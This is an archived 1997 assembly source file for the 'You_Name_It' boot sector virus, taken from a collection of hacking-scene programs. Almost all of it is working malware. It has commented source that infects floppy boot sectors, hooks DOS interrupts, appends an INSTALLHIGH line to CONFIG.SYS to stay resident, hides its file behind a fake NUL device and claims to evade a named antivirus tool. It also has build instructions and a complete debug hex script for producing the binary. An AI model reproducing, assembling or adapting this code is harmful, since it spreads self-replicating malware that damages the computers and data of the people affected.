home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / CCTX0198.ZIP / QMUPDAT7.ZIP / UNAMEIT.ZIP / UNAMEIT.ASM next >
Assembly Source File  |  1997-02-05  |  16KB  |  381 lines

  1. comment *
  2.  
  3. Designed by "Q" the Misanthrope
  4.  
  5. The "You_Name_It" virus needed to be made.  Windows 95 has neglected the
  6. floppy boot sector virus long enough.  Windows 95 in it's 32 bit protected
  7. mode has it's own floppy disk routines and doesn't use int 13 or int 40
  8. anymore.  When a floppy boot sector viruses infectes the hard disk of the
  9. Windows 95 computer, it would flag a change in the MBR or DBR indicating
  10. a possible virus attack (not good).  The conclusion, don't hook int 13, hook
  11. int 21.  Problem is, when Windows 95 starts up, it starts in DOS mode then
  12. changes to it's protected mode DOS so int 21 hooked in DOS mode isn't hooked
  13. anymore.  Many of the multipatrite virii will not infect once Windows 95
  14. starts.  If your boot sector virus can infect a program called in your
  15. AUTOEXEC.BAT or you CONFIG.SYS then the virus would go resident.  The
  16. "You_Name_it" virus does this.  It creates a randomly named file and adds
  17. INSTALLHIGH=C:\AKYT.SQW (name is random) to the CONFIG.SYS file.  Now when
  18. Windows 95's int 21 is called to change the default drive to A: then the
  19. infection occures.  Also to armor the virus a NUL device by the same name as
  20. the virus is created so any reads, writes or deletes of the virus will go
  21. into NUL-Space.  Also the boot sector infection will not attack the CONFIG.SYS
  22. multiple times.
  23.  
  24. P.S. This virus will not be detected by Thunderbytes TBRESCUE Boot sector
  25. detector or CMOS virus protection.
  26.  
  27.  
  28. tasm unameit /m2
  29. tlink unameit
  30. exe2bin unameit.exe unameit.com
  31. format a:/q/u
  32. debug unameit.com
  33. l 300 0 0 1
  34. w 100 0 0 1
  35. w 300 0 20 1
  36. m 13e,2ff 100
  37. rcx
  38. 1c2
  39. w
  40. q
  41. unameit
  42.  
  43.  
  44. *
  45.  
  46.  
  47. .286
  48.  
  49.  
  50. qseg            segment byte public 'CODE'
  51.                 assume  cs:qseg,es:qseg,ss:nothing,ds:qseg
  52.  
  53.  
  54. top:            jmp     short jmp_install       ;boot sector data
  55.         db      90h                     
  56.         db      'MSDOS5.0'
  57.         dw      512
  58.         db      1 
  59.         dw      1 
  60.         db      2 
  61.         dw      224 
  62.         dw      2880
  63.         db      0F0h 
  64.         dw      9
  65.         dw      18 
  66.         dw      2 
  67.  
  68.                 org     003eh
  69.  
  70. com_install     proc    near
  71.                 jmp     short go_mem_res
  72. com_install     endp
  73.  
  74.  
  75. jmp_install     proc    near                    ;floppy boot up
  76.                 push    cs                      ;for the retf to 0000:7c00
  77. id              equ     $+1
  78.                 mov     si,7c00h                ;7c00 is the infection marker
  79.                 lea     bx,word ptr ds:[si]     ;bx=7c00
  80.                 push    bx                      ;for the retf to 0000:7c00
  81.         cld     
  82.         push    cs
  83.                 mov     es,bx                   ;if monochrome copy code to
  84.                 pop     ds                      ;7c00:7c00
  85.                 cmp     word ptr ds:[0449h],07h ;check if monochrome
  86.         je      monochrome
  87.                 push    0b800h                  ;lets reside in video memory
  88.                 pop     es                      ;no need for that TOM
  89.                 cmp     word ptr es:[si+id-top],si
  90. monochrome:     push    es                      ;check if already mem resident
  91.                 mov     di,si                   ;di=7c00
  92.                 mov     cx,offset previous_hook ;copy loop varable
  93.                 push    cx                      ;save it because we will copy
  94.                 push    si                      ;the code twice to b800:7c00
  95.                 rep     movsb                   ;and b800:7dfe
  96.         pop     si
  97.         pop     cx
  98.                 call    return_far              ;goto b800 segment of code
  99.                 rep     movsb                   ;continue copy to b800:7dfe
  100.                 mov     si,1ah*04h              ;only hook int 1a
  101.                 je      already_res             ;if already resident don't
  102.                 movsw                           ;hook again
  103.         movsw
  104.                 mov     word ptr ds:[si-02h],cs ;hook int 1a
  105.                 mov     word ptr ds:[si-04h],offset interrupt_1a+7e00h-02h
  106. already_res:    push    ds                      ;read moved floppy boot sector
  107.         pop     es
  108. re_get_boot:    mov     ax,0201h
  109. jmp_install     endp
  110.  
  111.  
  112. set_cx_dx       proc    near      
  113.                 mov     bp,word ptr ds:[bx+11h] ;code to point to last sector
  114.                 mov     cx,word ptr ds:[bx+16h] ;of the root directory of any
  115.                 shr     bp,04h                  ;floppy disk
  116.                 shl     cx,01h
  117.                 add     cx,bp
  118.         inc     cx
  119.                 mov     dh,01h
  120.                 sub     cx,word ptr ds:[bx+18h]
  121.                 int     13h                     ;read or write boot sector
  122. return_far:     retf                            ;return to 7c00:0000 or
  123. set_cx_dx       endp                            ;resident_21 routine
  124.  
  125.  
  126. config_line     db      "C:\CONFIG.SYS",00      ;file to infect
  127. install_name    db      'INSTALLHIGH='          ;what to add
  128. file_name       db      'C:\'                   ;random file name goes here
  129.                 db      00h
  130. dot             equ     $+3
  131. crlf            equ     $+7
  132.  
  133.  
  134. go_mem_res      proc    near                    ;CONFIG.SYS residency
  135.                 mov     ah,30h                  ;dos versions less than 4.0
  136.                 int     21h                     ;had their NUL pointer at
  137.                 cmp     al,04h                  ;different locations so don't
  138.                 jb      below_dos4              ;make NUL device if less than
  139.                 mov     ah,52h                  ;dos 4.0
  140.                 int     21h                     ;get list of lists
  141.                 cld
  142.                 lds     si,dword ptr es:[bx+22h];point to second device
  143.                 push    cs                      ;in device chain and break in
  144.                 pop     es
  145.                 mov     di,0060h-0ah            ;at CS:60 there are 8 nice
  146.                 movsw                           ;spaces of 20h for device name
  147.                 movsw                           ;padding
  148.                 mov     word ptr ds:[si-02h],cs ;break into device chain
  149.                 mov     word ptr ds:[si-04h],0060h-0ah
  150.                 mov     ax,8004h                ;show nul char device
  151.                 stosw                           ;save it
  152.                 stosw                           ;strategy and interrupt
  153.                 stosw                           ;pointer can be anything
  154.                 mov     ax,cs                   ;get filename from cs-1:0008
  155.                 dec     ax
  156.                 mov     ds,ax
  157.                 mov     si,0008h                
  158.                 movsw                           ;file name is only 4 letters 
  159.                 movsw                           ;before the .
  160. below_dos4:     push    cs
  161.                 pop     ds
  162.                 mov     es,word ptr ds:[si-0ch+2ch]
  163.                 mov     ah,49h                  ;free up environment just cuz
  164.                 int     21h
  165.                 mov     ax,3521h                ;get int 21
  166.                 int     21h                     ;save old int 21
  167.                 mov     word ptr ds:[previous_hook-com_install+0100h],bx
  168.                 mov     word ptr ds:[previous_hook-com_install+0102h],es
  169.                 mov     ax,2521h                ;set int 21
  170.                 mov     dx,resident_21-com_install+0100h
  171.                 int     21h
  172.                 mov     ah,31h                  ;go tsr
  173.                 mov     dx,((tail-com_install+010fh) SHR 4)
  174.                 int     21h
  175. go_mem_res      endp
  176.         
  177.  
  178. interrupt_21    proc    near                    ;hooked in after int 1a sees
  179.                 pushf                           ;that dos loaded during boot
  180.         pusha   
  181.         push    ds
  182.         push    cs
  183.         pop     ds
  184.                 xor     ah,4bh                  ;unload if a program starts
  185.                 jz      set_21_back
  186.                 mov     ax,3d42h                ;open c:\config.sys
  187.                 mov     dx,offset config_line+7e00h-02h
  188.                 int     18h                     ;really it is int 21
  189.                 mov     bx,5700h                ;get date
  190.                 xchg    ax,bx
  191.                 jc      keep_trying             ;unable to open c:\config.sys
  192.                 int     18h                     
  193.                 or      cl,cl                   ;is c:\config.sys infected
  194.                 jz      close_it
  195.                 pusha                           ;save file date
  196.                 mov     ah,5ah                  ;create random file
  197.                 sub     cx,cx
  198.                 mov     dx,offset file_name+7e00h-02h
  199.                 int     18h
  200.                 mov     bh,3eh                  ;close it
  201.                 xchg    ax,bx                   ;then delete it because it has
  202.                 int     18h                     ;no extension
  203.                 mov     ah,41h
  204.                 int     18h                     ;create new file using random
  205.                 mov     ax,5b2eh                ;file with . in 5th character
  206.                 mov     byte ptr ds:[dot+7e00h-02h],al
  207.                 mov     cl,05h                  ;file w/system and readonly
  208.                 int     18h
  209.                 mov     dx,offset com_install+7c00h
  210.                 mov     bh,40h                  ;write virus code into file
  211.                 xchg    ax,bx
  212.                 mov     ch,02h
  213.                 int     18h
  214.                 mov     ah,3eh                  ;close it
  215.                 int     18h
  216.                 popa                            ;date and handle c:\config.sys
  217.                 inc     ax                      ;set date
  218.                 pusha                           ;save it for later
  219.                 mov     ax,4202h                ;go to end of c:\config.sys
  220.                 sub     cx,cx
  221.         cwd
  222.                 int     18h
  223.                 mov     ah,40h                  ;write INSTALLHIGH=C:\ line
  224.                 mov     word ptr ds:[crlf+7e00h-02h],0a0dh
  225.                 mov     cl,low(crlf-install_name+02h)
  226.                 mov     dx,offset install_name+7e00h-02h
  227.                 int     18h                     ;be sure to cr lf terminate it
  228.                 popa                            ;get file date
  229.                 xor     cl,cl                   ;blitz seconds and more
  230.                 int     18h
  231. close_it:       mov     ah,3eh                  ;close c:\config.sys
  232.                 int     18h
  233. set_21_back:    lds     dx,dword ptr ds:[previous_hook+7c00h]
  234.                 mov     ax,2521h                ;unhook ourselves because
  235.                 int     18h                     ;we have infection
  236. keep_trying:    jmp     pop_ds_and_all
  237. interrupt_21    endp
  238.  
  239.  
  240. resident_21     proc    near                    ;memory resident int 21
  241.                 pushf                           ;called when loaded from
  242.                 pusha                           ;config.sys
  243.                 push    ds
  244.                 push    es
  245.                 cmp     ah,0eh                  ;is it set drive
  246.                 jne     not_setcurrent
  247.                 or      dl,dl                   ;drive A:
  248.                 jnz     not_setcurrent
  249.                 cwd                             ;set varables to read sector
  250.                 mov     bx,offset vbuffer-com_install+0100h
  251.                 push    cs
  252.                 mov     cx,0001h
  253.                 pop     es
  254.                 push    cs
  255.                 mov     ax,0201h                ;try reading the boot sector
  256.                 pop     ds
  257.                 int     13h
  258.                 jc      not_setcurrent          ;if not don't infect
  259.                 cmp     byte ptr ds:[bx+id-top+01h],7ch
  260.                 je      not_setcurrent          ;check if infected
  261.                 mov     ax,0301h                ;move and write boot sector
  262.                 pusha                           ;save for later
  263.                 push    cs                      ;for far retf
  264.         call    set_cx_dx
  265.         cld
  266.                 mov     cx,previous_hook-com_install
  267.                 mov     si,0100h                ;copy virus to boot sector
  268.                 lea     di,word ptr ds:[bx+com_install-top]
  269.                 rep     movsb
  270.                 mov     word ptr ds:[bx],0000h
  271.         org     $-2
  272.                 jmp     $(jmp_install-top)      ;place initial jmp at front
  273.         popa
  274.                 int     13h                     ;write it
  275. not_setcurrent: jmp     short pop_it
  276. resident_21     endp
  277.  
  278.  
  279.                 org     001c3h
  280.  
  281.  
  282. interrupt_1a    proc    near                    ;hooked at boot and waits for
  283.                 pushf                           ;dos to load
  284.         pusha
  285.                 mov     ax,1200h                ;dos loaded
  286.         push    ds
  287.         push    es
  288.         cwd
  289.                 int     2fh
  290.         inc     al
  291.                 mov     ds,dx                   ;if loaded then hook int 21
  292.                 mov     si,21h*04h              ;sorry for all the complexity
  293.                 mov     di,offset previous_hook+7c00h
  294.                 jnz     pop_it                  ;and unhook int 1a
  295.                 les     bx,dword ptr cs:[previous_hook+7e00h-02h]
  296.                 mov     ds:[si-((21h-1ah)*04h)+2],es
  297.                 mov     ds:[si-((21h-1ah)*04h)],bx
  298.         les     bx,dword ptr ds:[si]
  299.                 mov     ds:[si-((21h-18h)*04h)+2],es
  300.                 push    cs                      ;also save int 21 into int 18
  301.         cld     
  302.                 mov     ds:[si-((21h-18h)*04h)],bx
  303.         pop     es
  304.         movsw
  305.         movsw
  306.                 mov     word ptr ds:[si-04h],offset interrupt_21+7c00h
  307.                 mov     word ptr ds:[si-02h],cs ;set int 21
  308. pop_it:         pop     es
  309. pop_ds_and_all: pop     ds
  310.         popa    
  311.         popf
  312. interrupt_1a    endp
  313.  
  314.  
  315.                 org     001fdh                
  316.  
  317.  
  318. far_jmp         proc    near
  319.                 db      0eah                    ;jmp to old int 1a or boot
  320. previous_hook:  label   double                  ;up int 21 or resident int 21
  321. far_jmp         endp
  322.  
  323.  
  324. boot_signature  dw      0aa55h                  ;guess what
  325.  
  326.  
  327.                 org     $+0002h
  328. vbuffer         label   byte                    ;buffer to read boot sector 
  329.  
  330.  
  331.                 org     $+0202h                 ;the end of the code
  332. tail            label   byte
  333.  
  334.  
  335. qseg            ends
  336.  
  337.  
  338.         end
  339.  
  340. comment *
  341. debug script
  342.  
  343.  
  344. nunameit.com
  345. e0100  EB 74 0E BE 00 7C 8D 1C 53 FC 0E 8E C3 1F 83 3E
  346. e0110  49 04 07 74 08 68 00 B8 07 26 39 74 42 06 8B FE
  347. e0120  B9 FE 01 51 56 F3 A4 5E 59 E8 2B 00 F3 A4 BE 68
  348. e0130  00 74 0A A5 A5 8C 4C FE C7 44 FC C1 7F 1E 07 B8
  349. e0140  01 02 8B 6F 11 8B 4F 16 C1 ED 04 D1 E1 03 CD 41
  350. e0150  B6 01 2B 4F 18 CD 13 CB 43 3A 5C 43 4F 4E 46 49
  351. e0160  47 2E 53 59 53 00 49 4E 53 54 41 4C 4C 48 49 47
  352. e0170  48 3D 43 3A 5C 00 B4 30 CD 21 3C 04 72 28 B4 52
  353. e0180  CD 21 FC 26 C5 77 22 0E 07 BF 56 00 A5 A5 8C 4C
  354. e0190  FE C7 44 FC 56 00 B8 04 80 AB AB AB 8C C8 48 8E
  355. e01A0  D8 BE 08 00 A5 A5 0E 1F 8E 44 20 B4 49 CD 21 B8
  356. e01B0  21 35 CD 21 89 1E C0 02 8C 06 C2 02 B8 21 25 BA
  357. e01C0  42 02 CD 21 B4 31 BA 4D 00 CD 21 9C 60 1E 0E 1F
  358. e01D0  80 F4 4B 74 62 B8 42 3D BA 94 7E CD 18 BB 00 57
  359. e01E0  93 72 5D CD 18 0A C9 74 4A 60 B4 5A 2B C9 BA AE
  360. e01F0  7E CD 18 B7 3E 93 CD 18 B4 41 CD 18 B8 2E 5B A2
  361. e0200  B5 7E B1 05 CD 18 BA 3E 7C B7 40 93 B5 02 CD 18
  362. e0210  B4 3E CD 18 61 40 60 B8 02 42 2B C9 99 CD 18 B4
  363. e0220  40 C7 06 B9 7E 0D 0A B1 19 BA A2 7E CD 18 61 32
  364. e0230  C9 CD 18 B4 3E CD 18 C5 16 FE 7D B8 21 25 CD 18
  365. e0240  EB 7A 9C 60 1E 06 80 FC 0E 75 37 0A D2 75 33 99
  366. e0250  BB C4 02 0E B9 01 00 07 0E B8 01 02 1F CD 13 72
  367. e0260  21 80 7F 43 7C 74 1B B8 01 03 60 0E E8 D3 FE FC
  368. e0270  B9 C0 01 BE 00 01 8D 7F 3E F3 A4 C7 07 EB 3E 61
  369. e0280  CD 13 EB 37 00 9C 60 B8 00 12 1E 06 99 CD 2F FE
  370. e0290  C0 8E DA BE 84 00 BF FE 7D 75 20 2E C4 1E FC 7F
  371. e02A0  8C 44 E6 89 5C E4 C4 1C 8C 44 DE 0E FC 89 5C DC
  372. e02B0  07 A5 A5 C7 44 FC 09 7D 8C 4C FE 07 1F 61 9D EA
  373. e02C0  55 AA
  374. rcx
  375. 1c2
  376. w
  377. q
  378.  
  379.  
  380. *
  381.